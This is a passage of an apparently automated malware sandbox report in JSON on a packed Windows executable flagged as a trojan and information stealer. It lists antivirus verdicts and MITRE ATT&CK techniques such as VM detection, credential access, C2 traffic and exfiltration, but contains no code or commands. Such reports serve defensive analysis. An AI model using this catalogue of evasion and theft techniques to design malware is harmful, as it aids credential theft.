Bsxu7gE","196608:sxu7gEp","196608:xu7gEpf","196608:u7gEpf9","196608:7gEpf9W","196608:gEpf9Ww","196608:Epf9Wwz","196608:pf9Wwz1","196608:f9Wwz17","196608:9Wwz179","196608:Wwz179l","196608:wz179lr","196608:z179lr0","196608:179lr0N","196608:79lr0Nn","196608:9lr0Nnm","196608:lr0Nnm+","196608:r0Nnm+b","196608:0Nnm+bh","196608:Nnm+bh5","196608:nm+bh5s","196608:m+bh5sb","196608:+bh5sbU","196608:bh5sbUx","196608:h5sbUxB","98304:5PGy7n1","98304:PGy7n1J","98304:Gy7n1Jz","98304:y7n1Jz1","98304:7n1Jz1I","98304:n1Jz1It","98304:1Jz1Itb","98304:Jz1Itbh","98304:z1Itbh2","98304:1Itbh2b","98304:Itbh2b6","98304:tbh2b6B"],"imphash":"6ed4f5f04d62b18d96b26d6db7c18840","pehash":"41b6252ff6dc64579fd430e1b38b8c850db5f15d"},"file_info":{"file_name":"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":3594752,"entropy":8,"compile_timestamp":"1970-01-01T00:00:00","is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1790335230000,"last_seen":1790523071000,"last_multi_scan":1790523071000},"pe_metadata":{"is_dll":false,"is_packed":false,"section_count":3,"import_count":0,"export_count":0,"sections":[{"name":"UPX0","virtual_address":"0x1000","virtual_size":9334784},{"name":"UPX1","virtual_address":"0x8e8000","virtual_size":3596288,"raw_size":3593728},{"name":"UPX2","virtual_address":"0xc56000","virtual_size":4096,"raw_size":512}],"section_names":["UPX0","UPX1","UPX2"],"imported_dlls":null,"imported_functions":null}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["wacatac","rat","wacapew","salatstealer","phonzy","criminal","informationstealer","windows-server-utility","suspicious","malicious","evasive"]},"stats":{"av":{"malicious_count":15,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":62},"sandbox_signatures":{"informative_count":116,"suspicious_count":22,"malicious_count":4,"total":142},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.SalatStealer","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W32.Evo","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Dump:Generic.Dacic.18086.CB77C457","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"Trojan_Win32_Wacatac_B_ml","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Dump:Generic.Dacic.18086.CB77C457 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of WinGo/Agent.AXZ trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Agent.sa","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 005ce1d91 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"YARA","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Salat-B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Banker/W32.Agent.12572160.L","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/ABTrojan.BXVV-2283","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Dump:Generic.Dacic.18086","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"suspicious","value":"Executes WMI queries known to be used for VM detection"},{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"informative","value":"Executes WMI queries"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains reference to multiple windows system processes"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"suspicious","value":"Entrypoint in PE header is within an uncommon section"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains CRYPTO related strings"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"suspicious","value":"Queries process mitigation policy via NtQueryInformationProcess"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Defense Evasion","technique":"Indicator Blocking","attack_id":"T1562.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/006","identifiers":[{"type":"informative","value":"Modifies process error mode to suppress error dialogs"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Defense Evasion","technique":"Stripped Payloads","attack_id":"T1027.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/008","identifiers":[{"type":"suspicious","value":"PE file has no resource directory"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file is packed with UPX"},{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Defense Evasion","technique":"Junk Code Insertion","attack_id":"T1027.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/016","identifiers":[{"type":"suspicious","value":"File exhibits characteristics of junk code obfuscation"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – Anomalous PE file structure"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains ability to query network adapter information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads the active computer name"},{"type":"suspicious","value":"Executes WMI queries to gather system information"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"suspicious","value":"Calls an API typically used to enumerate process encountered in a system snapshot"},{"type":"informative","value":"References to WMI query strings used for process discovery"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"suspicious","value":"Attempts to retrieve the system language code"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to get active windows title"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"GETs files from a web server (PE files)"},{"type":"informative","value":"Tries to GET non-existent files from a web server"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"suspicious","value":"Calls an API typically used to import asymmetric cryptographic keys into a CSP"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"suspicious","value":"Sends UDP traffic"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: 